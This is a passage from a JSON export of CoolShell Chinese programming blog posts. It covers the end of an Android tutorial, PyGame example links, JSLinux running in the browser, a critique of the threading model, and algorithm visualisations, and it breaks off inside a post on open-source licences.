增加用户从茶叶数据库中删除记录的选项。\n\n\n在[GitHub库](http://github.com/cblunt/BrewClock) 可以获取到所有的源代码，库中的未来的分支包含着Activitiy的解决方案 你可以通过切换你的本地代码拷贝到tutorial\\_2分支，下载这个开发教程源代码：  \n\n[code]\n\n\n$ git clone git://github.com/cblunt/BrewClock.git\n\n\n$ cd BrewClock\n\n\n$ git checkout tutorial\\_2\n\n\n[/code]  \n\n我希望你喜欢这个教程，希望这个教程能帮助你设计和开发更棒的Android应用程序。请通过在下面的回复让我知道你的建议和意见，当然我也欢迎你将你建议写在email中并发送给我。\n\n\n*感谢[Anselm](http://blog.anselmbradford.com/)的建议和反馈！* \n\n\n*（全文完）*\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Eclipse开发Android应用程序入门](../wp-content/uploads/2011/04/install-150x150.gif)](https://coolshell.cn/articles/4270.html)[Eclipse开发Android应用程序入门](https://coolshell.cn/articles/4270.html)\n* [![关于移动端的钓鱼式攻击](../wp-content/uploads/2015/04/phishing-1-150x150.jpg)](https://coolshell.cn/articles/17066.html)[关于移动端的钓鱼式攻击](https://coolshell.cn/articles/17066.html)\n* [![DHH 谈混合移动应用开发](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)](https://coolshell.cn/articles/12225.html)[DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/3589.html)[食客还是大厨](https://coolshell.cn/articles/3589.html)\nThe post [Eclipse开发Android应用程序入门:重装上阵](https://coolshell.cn/articles/4334.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-5-18 Python 和 PyGame 的一些示例.md",
    "content": "---\nlayout: post\ntitle: Python 和 PyGame 的一些示例\ndate: 2011/5/18/ 0:43:58\nupdated: 2011/5/18/ 0:43:58\nstatus: publish\npublished: true\ntype: post\n---\n\n看到[一个网页](http://cs.simpson.edu/?q=python_pygame_examples)收集了很多使用Python和PyGame写游戏的示例，分享给大家。（注：我不知道用Python/PyGame写游戏其性能会怎么样，但是一些小游戏应该是没有问题的）\n\n\n这个网页同时给了一本[介绍Python和PyGame的电子书](http://cs.simpson.edu/files/CS_Intro_Book.pdf)（PDF），下面的这些例子就是这本书的示例。所有的这些示例可以[打包下载](http://cs.simpson.edu/files/Python%20Examples.zip)。\n\n\n#### 基础 Python 示例\n\n\n* [if\\_statement\\_examples.py](http://cs.simpson.edu/?q=if_statement_examples.py) – if 语句的一个简单示例\n* [for\\_loop\\_examples.py](http://cs.simpson.edu/?q=for_loops_examples.py) – for 语句的一个简单示例.\n* [while\\_loop\\_examples.py](http://cs.simpson.edu/?q=while_loop_examples.py) – while 语句的一个简单示例\n\n\n#### Pygame 图形示例\n\n\n\n\n|  |  |\n| --- | --- |\n| [pygame\\_base\\_template.py](http://cs.simpson.edu/?q=pygame_base_template.py) – 开启一个黑的 pygame 窗口。当你要写一个新的代码时，你可以使用这个示例的代码初始化你的程序。 |  |\n| [simple\\_graphics\\_demo.py](http://cs.simpson.edu/?q=simple_graphics_demo.py) – 作图，画一些简单的图形。 | [simple_graphics_demo_thumb.png](http://cs.simpson.edu/files/python_examples/screenshots/simple_graphics_demo.png) |\n\n\n\n\n\n|  |  |\n| --- | --- |\n| [functions\\_and\\_graphics.py](http://cs.simpson.edu/?q=functions_and_graphics.py) – 图一些雪人。 |  |\n| [animating\\_snow.py](http://cs.simpson.edu/?q=animating_snow.py) – 下雪动画。 | [Animating Snow](http://cs.simpson.edu/files/python_examples/screenshots/animating_snow.png) |\n| [move\\_keyboard.py](http://cs.simpson.edu/?q=move_keyboard.py) – 使用键盘移动一个图形\n[move\\_mouse.py](http://cs.simpson.edu/?q=move_mouse.py) – 使用鼠标移动一个图形\n[move\\_game\\_controller.py](http://cs.simpson.edu/?q=move_game_controller.py) – 使用游戏手柄移动一个图形 |  |\n| [bitmapped\\_graphics.py](http://cs.simpson.edu/?q=bitmapped_graphics.py) – 显示一些图片（png, jpb），并加入一些声音。 |  |\n| [array\\_backed\\_grid.py](http://cs.simpson.edu/?q=array_backed_grid.py) – 一个网格，可以用来开发一些棋类的游戏。 |  |\n\n\n#### Pygame 示例\n\n\n\n\n|  |  |\n| --- | --- |\n| [sprite\\_collect\\_blocks.py](http://cs.simpson.edu/?q=sprite_collect_blocks.py) – 使用鼠标移动一个小点 |  |\n| [sprite\\_collect\\_circle.py](http://cs.simpson.edu/?q=sprite_collect_circle.py) – 和上面的示例一样，只不过是圆点。 |  |\n| [sprite\\_collect\\_graphic.py](http://cs.simpson.edu/?q=sprite_collect_graphic.py) – 和上面的示例一样，只不过是图片。 |  |\n| [move\\_sprite\\_mouse.py](http://cs.simpson.edu/?q=move_sprite_mouse.py) – 用鼠标移动一个点\n[move\\_sprite\\_keyboard\\_jump.py](http://cs.simpson.edu/?q=move_sprite_keyboard_jump.py) – 用键盘移动一个点（跳动式的）\n[move\\_sprite\\_keyboard\\_smooth.py](http://cs.simpson.edu/?q=move_sprite_keyboard_smooth.py) – 用键盘移动一个点（平滑式的）.\n[move\\_sprite\\_game\\_controller.py](http://cs.simpson.edu/?q=move_sprite_game_controller.py) – 用游戏手柄移动一个点 |  |\n| [move\\_with\\_walls\\_example.py](http://cs.simpson.edu/?q=move_with_walls_example.py) – 移动一个点，但是会被墙阻止。 |  |\n\n\n#### 游戏示例\n\n\n\n\n|  |  |\n| --- | --- |\n| [bounce\\_ball\\_with\\_paddle.py](http://cs.simpson.edu/?q=bounce_ball_with_paddle.py) – 两个玩家玩对碰球游戏，需要两个手柄。 |  |\n| [breakout\\_simple.py](http://cs.simpson.edu/?q=breakout_simple.py) – 一个简单的游戏，显示 “Game Over” 信息. |  |\n| 一个学生的作业. [Spring 2011](http://cs.simpson.edu/?q=node/62) |  |\n| 另一个学生的作业. [Fall 2010](http://cs.simpson.edu/21)\n[Download games](http://cs.simpson.edu/?q=node/23) – . |  |\n\n\n#### 创建一个安装包\n\n\n[Python Pygame 安装包教程](http://cs.simpson.edu/?q=make_an_installer_for_your_python_program) \n\n\n#### 搜索和排序示例\n\n\n* [example\\_sorted\\_names.txt](http://cs.simpson.edu/files/example_sorted_names.txt) – Sample file of names used in searching\\_example.py\n* [searching\\_example.py](http://cs.simpson.edu/?q=searching_example.py) – Example linear and binary searches\n* [AliceInWonderLand.txt](http://cs.simpson.edu/files/AliceInWonderLand.txt) – Text of Alice In Wonderland. Source: [Project Gutenberg](http://www.gutenberg.org/wiki/Main_Page)\n* [AliceInWonderLand200.txt](http://cs.simpson.edu/files/AliceInWonderLand200.txt)\n* [dictionary.txt](http://cs.simpson.edu/files/dictionary.txt)\n* [sorting\\_examples.py](http://cs.simpson.edu/?q=sorting_examples.py) – Example code for the insertion and selection sorts.\n\n\n#### 文件示例\n\n\n[high\\_score.py](http://cs.simpson.edu/?q=high_score.py) – Example that shows how to read and write a high score to the disk so that it persists between program runs.\n\n\n#### 其它信息\n\n\n* [Pygame Website](http://www.pygame.org/) – Pygame 主站\n* [Pygame Documentation](http://www.pygame.org/docs/) – Pygame 文档\n\n\n（全文完）\n\n\n——————————\n\n\n**最后，不好意思很久没有更新酷壳，这段时间在国外出差，事多，5月31回国。大家见谅！**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [![两本电子书](../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg)](https://coolshell.cn/articles/3270.html)[两本电子书](https://coolshell.cn/articles/3270.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/1928.html)[如何使用Python操作摄像头](https://coolshell.cn/articles/1928.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/1157.html)[Python 自然语言处理](https://coolshell.cn/articles/1157.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\nThe post [Python 和 PyGame 的一些示例](https://coolshell.cn/articles/4710.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-5-19 在Web上运行Linux.md",
    "content": "---\nlayout: post\ntitle: 在Web上运行Linux\ndate: 2011/5/19/ 0:35:8\nupdated: 2011/5/19/ 0:35:8\nstatus: publish\npublished: true\ntype: post\n---\n\n一个叫Fabrice Bellard的程序员写了一段Javascript在Web浏览器中启动Linux（[原网页](http://bellard.org/jslinux/)，我把这个网页iframe在了下面），目前，你只能使用Firefox 4和Chrome 11运行这个Linux。这不是什么假的模仿Linux的东西，这是实实在在的运行一个Linux。这一举动还引起了很多很牛人的关注，包括Javascript的创建者[Brendan Eich](http://twitter.com/#!/BrendanEich/status/70393502328045568)。\n\n\n清除启动开始启动\n\n\n\n\n随后，Fabrice Bellard发布了相关的技术说明：<http://bellard.org/jslinux/tech.html>，从这份文档中我们可以看到：\n\n\n* 这个模似器完全由Javascript写成\n* CPU仿真器使用的是[QEMU](http://qemu.org/)（接近于原古的486），为了装上Linux，其做了一些改动。\n* Javascript的终端本来可以使用[termlib](http://www.masswerk.at/termlib/)，但他还是自己写了一个，因为OS的按键和Web浏览器不一样（[here](http://unixpapa.com/js/key.html)）\n* Linux  使用了2.6.20内核，编译配置在[这里](http://bellard.org/jslinux/config_linux-2.6.20)，并做了一些[小改动](http://bellard.org/jslinux/patch_linux-2.6.20)。\n* 磁盘用的是Ram Disk，在启动的时候装载。其文件系统由[Buildroot](http://buildroot.uclibc.org/) 和[BusyBox](http://www.busybox.net/)产生。\n* 在Home目录下有一个hello.c的程序，你可以使用[TinyCC](http://bellard.org/tcc)编译（tcc，参看酷壳的[这篇文章](https://coolshell.cn/articles/786.html \"用TCC可以干些什么？\")）\n\n\n从这个事我有这些感触，\n\n\n1. 在Web上运行一个Linux的操作系统不是问题。那么在Web上还有什么不能做的吗？\n2. Linux真是性能很高，在Javascript下运行感觉也不慢啊。\n3. 真是Techno-Geek。\n\n\n \n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\nThe post [在Web上运行Linux](https://coolshell.cn/articles/4722.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-5-3 读书笔记：对线程模型的批评.md",
    "content": "---\nlayout: post\ntitle: 读书笔记：对线程模型的批评\ndate: 2011/5/3/ 2:23:27\nupdated: 2011/5/3/ 2:23:27\nstatus: publish\npublished: true\ntype: post\n---\n\n**——感谢Ian.Sian投递本文——**\n\n\n多线程模型是主流的并发编程模型。在过去几十年来，多线程模型一直是开发并发程序的有力工具。然而，它的历史并非总那么美好。1997年，NASA 的“火星探路者”号在执行任务的途中遭遇了严重的时序异常（参见 “[What really happend on Mars](http://research.microsoft.com/en-us/um/people/mbj/mars_pathfinder/mars_pathfinder.html)“，注目 follow-up 中的[现身说法](http://research.microsoft.com/en-us/um/people/mbj/mars_pathfinder/Authoritative_Account.html)），无法发回探测数据。如果不是 NASA 远程刷新了程序，它的结局就只能是报废在火星上。这一切都是由程序中潜藏的一个优先级反转 bug 造成的。更早的例子还有80年代的一系列 [Therac-25](http://en.wikipedia.org/wiki/Therac-25 \"Therac-25\") 型医用粒子加速器事故。在这些加速器释放出的过量辐射照射之下，数位病人死亡。事后调查显示，至少有一次发生事故的原因，是加速器的控制软件中，存在一个只能由特定操作序列引发的竞争条件 bug。你也许认为这些只是陈年往事，但是直到现在，即便是世界500强公司们高价买来的信息系统，也同样避免不了这些问题。这导致许多程序员认为线程是个潘多拉魔盒，对它采取能躲就躲的态度。然而近来计算机的发展使得躲猫猫的空间越来越小：随便从市场上淘一个CPU，它里面也有不止一个核心。未来的程序员只会有越来越多的机会接触到并发编程，而无法再独善其身了。\n\n\n加州大学伯克利分校教授，[爱德华 A. 李](http://ptolemy.eecs.berkeley.edu/~eal/)在2006年做了一次题为[《线程的麻烦 (The Problem with Threads)》](http://www.eecs.berkeley.edu/Pubs/TechRpts/2006/EECS-2006-1.html)的学术报告。在报告中他提到：看上去，多线程只是对核心语言的小小扩展，甚至可以以第三方库的形式存在。但实质上，多线程程序和原有的核心语言编写的程序已经完全不同了。其原因在于，由于多线程程序可能以任意的次序交错执行，程序再也无法像顺序执行时那样产生确定的结果。多线程程序容易编写(因为写的是顺序程序)，但是难分析，难调试，更容易出错。\n\n\n在我的想法中，产生问题的根源，是多线程模型作为对并发问题的一个抽象，是很不完善的。抽象的实质是对问题的转换。我们可以把抽象应用于一个问题，把它转换成另一个（或许）更简单的问题来解决。解决了转换后的简单问题，就意味着解决了原有的困难问题。严格来说，一个抽象一定要保存原有问题的结构，同时去除无关细节。但是，由于我们生活的世界并没有什么东西是完全“严格”的，现实中使用的抽象有时会隐藏解决问题的关键细节，或者残留一些不该漏出来的东西。评价一个抽象的好坏，也就不止是看它能节省多少代码，和它的界面有多优美这么简单，同时还要看看在一个问题被抽象转换之后，留了下来的细节还能不能好好地解决它。\n\n\n我们可以从这个意义上理解为什么线程模型是个很糟糕的抽象。一方面，对解决问题很关键的细节（如执行次序）被隐藏起来并受到了粗暴的对待。另一方面，线程模型极力兼容顺序程序的设计思想也使得如共享变量这样的，与线程不兼容的细节依然残留在程序员们的视线之内。我们无力控制程序的执行次序，而我们程序的正确性却依赖于对共享变量的有序变更。可以说，线程提供给我们的抽象简直是千疮百孔。我们还能用它干活，只是因为我们手里还有加锁机制，而它可以部分地堵上线程模型的漏洞。讽刺的是，引入加锁机制解决问题的同时，又带来了新的问题，所以我们编写多线程程序总会遇上死锁，活锁，优先级反转……等等。\n\n\n同样作为并发编程问题的抽象，[角色模型](http://c2.com/cgi/wiki?ActorsModel)（Actor Model） 比线程模型好就好在，它的资源分享不像线程模型那样通过共享变量来进行。角色模型中的资源分享只能通过特定的机制（消息传递）来进行。你在角色模型里依然可能犯错误，如你可能制造死锁，也有可能造成优先级反转。但是没有共享变量就意味着没有了竞争条件，所以绝大部分资源也用不着上锁了。这样一来，原先至关重要的细节变得不那么重要，问题就这么解决了。\n\n\n一般来说，在修复一个糟糕的抽象时，可以采取的策略分如下两类：\n\n\n* 把造成问题的那部分抽象拿掉，直接露出底层的细节\n* 换一个和底层兼容性更好的抽象模型\n\n\n以 [MapReduce](http://en.wikipedia.org/wiki/MapReduce) 为例，它在解决分布式计算问题时，采取的是第一类策略。与现时流行的做法相反，MapReduce 并不试图制造计算是在单一场所完成的假象(流行话讲叫“云计算”)，相反它需要程序员自己把问题拆分到集群中不同的机器上。同时，它却隐藏了大量其他细节。这种另类策略导致批评 MapReduce “[太底层，不通用](http://databasecolumn.vertica.com/database-innovation/mapreduce-a-major-step-backwards/)” 的声音不绝于耳， 然而这正是 MapReduce 聪明的地方。它放弃面面俱到，集中精力于高效地解决一小类问题（这类问题与排序问题有类似的结构），同时对其他的问题故意视而不见。它的流行证明了这一策略的成功。\n\n\n角色模型，通信进程（[Communicating Sequential Processes](http://en.wikipedia.org/wiki/Communicating_sequential_processes), CSP），以及函数式编程（FP）在应对并发编程问题时不约而同地选择了第二类策略。它们采用了与并发兼容性更好的抽象。角色模型与通信进程从线程模型的问题中抹去了共享变量，纯粹 FP 则抹掉了“变量”的可变性。CSP 还可以降低程序执行次序的不确定性（因为在CSP中执行次序默认是确定的，不确定性必须在程序设计时显式声明）。由于这些努力，这几种模型都避免了落入线程模型的麻烦中，得到了对并发问题的更优美的解法。我们可以说，这些模型提供的抽象比线程模型的都要好。很遗憾的是，它们尽管优美，但却乏人问津。角色模型与通信进程目前不被任何主流操作系统原生支持（微软在 Windows 7 附带的新并行运行时 [ConcRT](http://msdn.microsoft.com/en-us/library/dd504870.aspx) 中加入了基于角色模型的 Asynchronous Agents Library，使得状况稍微改观了一点）。FP 的年岁几乎和计算机语言的历史一样古老， 但它的市场份额直到现在也小得可怜。\n\n\n也许一切都是因为线程模型表面上那迷惑人的简单性，以及墨菲定律的变体：布劳尔技术惯性定律（已经成功的技术在新的，更好的技术出现时也会赖着不走）。我们曾经接纳了一个有缺点的解决方案，而现在我们被捆绑在这个方案上了。我们为线程模型写了成百上千万行的代码，而现在这些代码的重量束缚住我们的手脚，使得我们无法前行。\n\n\n解决线程模型带来的问题的正确做法，是推广新的，更完善的模型。既然解决问题的阻碍同时来自于新技术的低认知度和现有代码的拖累，很自然地有两个方面的工作要做。一、使得新技术更容易被多数程序员使用，二、想办法让现有的代码和新技术兼容。\n\n\n在兼容老代码这一头，我们已经有了一些行动。微软在 Windows 7 中提供一个称为[用户模式调度](http://msdn.microsoft.com/en-us/library/dd627187%28v=vs.85%29.aspx) (UMS) 的功能。UMS 可以将内核模式的线程转换为用户模式线程，而应用程序可以自己提供一个 UMS 调度器来调度它们。这意味着，我们现在有机会重载掉系统调度器的默认行为，而根据应用自身的特点给出更合理的调度安排来。这个功能可以用在构造更容易使用的并发模型上，这样开发的模型可以与老代码兼容（但 UMS 有一个让人迷惑的限制：只能用在64bit 的Windows 7 版本上）。\n\n\n同样地，在推广新技术方面，现在也有了很多成果。除了角色模型外，事务性内存(这又是一种避免竞争条件，从而避免加锁的方法)正在研究中；CSP 已经有了数个实现（如由 Kent 大学开发，针对 Java 的 [JCSP](http://www.cs.kent.ac.uk/projects/ofa/jcsp/)），同时还有针对 CSP 的模型检证工具；至于 FP，最近因为人们认为 Web 系统的建模可以在函数式编程范式中更好的表达，FP 正在唤起人们的注意。我们缺的只剩下新技术的成功应用范例（实际上，前面的技术并不是没有成功范例，我们缺的是经验能够大规模运用的范例 ），以及一支理解这些技术的程序员大军了。对于这后一条，我甚至想，既然多线程编程唯一”容易”的事情是写代码，何不做出一种工具来让程序员们可以用写顺序程序的思维来在这些新模型中编写程序呢？这样的工具会帮助程序员利用线性程序的思维来理解代码，但是同时又让人注意到自己的改动正在影响系统的哪一部分。如果新模型的代码变得好理解了，也许更多的人会使用它们。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![从Gitlab误删除数据库想到的](../wp-content/uploads/2017/02/gitlab-600-150x150.jpg)](https://coolshell.cn/articles/17680.html)[从Gitlab误删除数据库想到的](https://coolshell.cn/articles/17680.html)\n* [![关于高可用的系统](../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png)](https://coolshell.cn/articles/17459.html)[关于高可用的系统](https://coolshell.cn/articles/17459.html)\n* [![IoC/DIP其实是一种管理思想](../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg)](https://coolshell.cn/articles/9949.html)[IoC/DIP其实是一种管理思想](https://coolshell.cn/articles/9949.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/6775.html)[Bret Victor – Inventing on Principle](https://coolshell.cn/articles/6775.html)\n* [![千万别惹程序员 ](../wp-content/uploads/2012/02/programming-language-150x150.jpg)](https://coolshell.cn/articles/6639.html)[千万别惹程序员](https://coolshell.cn/articles/6639.html)\nThe post [读书笔记：对线程模型的批评](https://coolshell.cn/articles/4626.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-5-4 可视化的数据结构和算法.md",
    "content": "---\nlayout: post\ntitle: 可视化的数据结构和算法\ndate: 2011/5/4/ 6:26:46\nupdated: 2011/5/4/ 6:26:46\nstatus: publish\npublished: true\ntype: post\n---\n\n还记得之前发布过的那个[关于可视化排序](https://coolshell.cn/articles/3933.html \"可视化的排序过程\")的文章吗？在网上又看到了一个旧金山大学[David Galles](http://www.cs.usfca.edu/galles)做的各种可视化的数据结构和基本算法的主页，[网址在这里](http://www.cs.usfca.edu/~galles/visualization/Algorithms.html)，大家可以看看。我把这个页面的目录列在下面并翻译了一下，大家可以直接点击了。\n\n\n不知道国内的教育有没有相关的教学课件，至少在我大学的时候是没有的。\n\n\n#### 基础\n\n\n* [Stack栈: 数组实现](http://www.cs.usfca.edu/~galles/visualization/StackArray.html)\n* [Stack栈: 链表实现](http://www.cs.usfca.edu/~galles/visualization/StackLL.html)\n* [Queues队列: 数组实现](http://www.cs.usfca.edu/~galles/visualization/QueueArray.html)\n* [Queues队列: 链表实现](http://www.cs.usfca.edu/~galles/visualization/QueueLL.html)\n* Lists列表: 数组实现 ( [java](http://www.cs.usfca.edu/~galles/visualization/java/visualization.html) 版演示)\n* Lists列表: 链表实现 ( [java](http://www.cs.usfca.edu/~galles/visualization/java/visualization.html) 版演示)\n\n\n#### 索引\n\n\n* [Binary Search Trees](http://www.cs.usfca.edu/~galles/visualization/BST.html) 二叉检索树\n* [AVL Trees (平衡二叉检索树)](http://www.cs.usfca.edu/~galles/visualization/AVLTree.html)\n* Red-Black Trees 红黑树 ( [flash](http://www.cs.usfca.edu/~galles/visualization/flash.html) 版本演示)\n* [Open Hash Tables 开放哈希表(Closed Addressing 链地址法)](http://www.cs.usfca.edu/~galles/visualization/OpenHash.html)\n* [Closed Hash Tables  闭合哈希表 (Open Addressing 开放定址法)](http://www.cs.usfca.edu/~galles/visualization/ClosedHash.html)\n* [Closed Hash Tables, using buckets](http://www.cs.usfca.edu/~galles/visualization/ClosedHashBucket.html) 使用桶\n* [B Trees](http://www.cs.usfca.edu/~galles/visualization/BTree.html) B树\n* [B+ Trees](http://www.cs.usfca.edu/~galles/visualization/BPlusTree.html) B+树\n\n\n\n\n\n- #### 排序\n\n\n* [Comparison Sorting](http://www.cs.usfca.edu/~galles/visualization/ComparisonSort.html) 比较式排序\n\t+ Bubble Sort 冒泡排序\n\t+ Selection Sort 选择排序\n\t+ Insertion Sort 插入排序\n\t+ Shell Sort 希尔排序\n\t+ Merge Sort 归并排序\n\t+ Quck Sort 快速排序\n* [Bucket Sort](http://www.cs.usfca.edu/~galles/visualization/BucketSort.html) 桶排序\n* [Counting Sort](http://www.cs.usfca.edu/~galles/visualization/CountingSort.html) 计数排序\n* [Radix Sort](http://www.cs.usfca.edu/~galles/visualization/RadixSort.html) 基数排序\n\n\n#### 堆数据结构\n\n\n* [Heaps](http://www.cs.usfca.edu/~galles/visualization/Heap.html) 堆\n* [Binomial Queues](http://www.cs.usfca.edu/~galles/visualization/BinomialQueue.html) 二项队列\n\n\n#### 图 算法\n\n\n* [Breadth-First Search](http://www.cs.usfca.edu/~galles/visualization/BFS.html) 广度优先搜索\n* [Depth-First Search](http://www.cs.usfca.edu/~galles/visualization/DFS.html) 深度优先搜索\n* [Connected Components](http://www.cs.usfca.edu/~galles/visualization/ConnectedComponent.html) 连通性\n* [Dijkstra’s Shortest Path](http://www.cs.usfca.edu/~galles/visualization/Dijkstra.html) Dijkstra最短路径\n* [Prim’s Minimum Cost Spanning Tree](http://www.cs.usfca.edu/~galles/visualization/Prim.html) 最小生成树\n* Topological Sort  拓扑排序 ( [flash](http://www.cs.usfca.edu/~galles/visualization/flash.html) 版本演示  [java](http://www.cs.usfca.edu/~galles/visualization/java/visualization.html) 版本演示)\n* Floyd-Warshall 算法(解决任意两点间的最短路径的一种算法) ([flash](http://www.cs.usfca.edu/~galles/visualization/flash.html) 版本演示 [java](http://www.cs.usfca.edu/~galles/visualization/java/visualization.html) 版本演示)\n* 基于*Kruskal*算法的最小生成树的构建 ( [flash](http://www.cs.usfca.edu/~galles/visualization/flash.html) 版本演示 [java](http://www.cs.usfca.edu/~galles/visualization/java/visualization.html) 版本演示)\n\n\n#### 动态编程\n\n\n* 计算 Fibonacci 数 ( [java](http://www.cs.usfca.edu/~galles/visualization/java/visualization.html) 版本演示)\n\n\n#### 其它…\n\n\n* [Disjoint Sets](http://www.cs.usfca.edu/~galles/visualization/DisjointSets.html) （MIT算法公开课中有一课讨论的是这个，见[网易公开课](http://v.163.com/movie/2010/12/V/E/M6UTT5U0I_M6V2UDUVE.html)）\n* Huffman Coding 哈夫曼编码 ( [java](http://www.cs.usfca.edu/~galles/visualization/java/visualization.html) 版本演示)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/6010.html)[一些有意思的算法代码](https://coolshell.cn/articles/6010.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/3933.html)[可视化的排序过程](https://coolshell.cn/articles/3933.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/2583.html)[一些重要的算法](https://coolshell.cn/articles/2583.html)\n* [![一个显示排序过程的Python脚本](../wp-content/uploads/2009/04/bubble-150x150.png)](https://coolshell.cn/articles/536.html)[一个显示排序过程的Python脚本](https://coolshell.cn/articles/536.html)\nThe post [可视化的数据结构和算法](https://coolshell.cn/articles/4671.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-5-4 狗日的开源软件许可证.md",
    "content": "---\nlayout: post\ntitle: 狗日的开源软件许可证\ndate: 2011/5/4/ 0:25:17\nupdated: 2011/5/4/ 0:25:17\nstatus: publish\npublished: true\ntype: post\n---\n\n你知道这个世上有多少种开源软件的许可证吗？GPL，BSD，MIT，Apache？GNU上有个网页，上面[记录了几乎所有的开源软件的许可证](http://www.gnu.org/licenses/license-list.html)，真TMD的多，有开源的，有商用的，有软件的，有文档的，多得你都不想看了，天杀的，程序员们还真能鼓捣啊。不过，主流的也就几种——[GPL](http://www.gnu.org/licenses/gpl.html)、[BSD](http://en.wikipedia.org/wiki/BSD_licenses)、[MIT](http://en.wikipedia.org/wiki/MIT_License)、[Mozilla](http://www.mozilla.org/MPL/)、[Apache](http://www.apache.org/licenses/LICENSE-2.0)等等。\n\n\n那么，你知道怎么区别他们吧？怎么选择他们吗？这里有一张比较复杂的图，在调侃这些纷繁的许可证（我不翻译了，这个图属于是发泄不满）\n\n\n[![](../wp-content/uploads/2011/05/OSS-License.jpg \"OSS License\")](https://coolshell.cn/wp-content/uploads/2011/05/OSS-License.jpg)\n\n\n下面是另一个图，这个图[来自这里](http://pbagwl.com/post/5078147450/description-of-popular-software-licenses)，这个图并不恶搞，但其非常简单地说明了如何选择一个开源的许可证：\n\n\n\n[![](../wp-content/uploads/2011/05/Infographic-of-popular-software-licenses.jpg 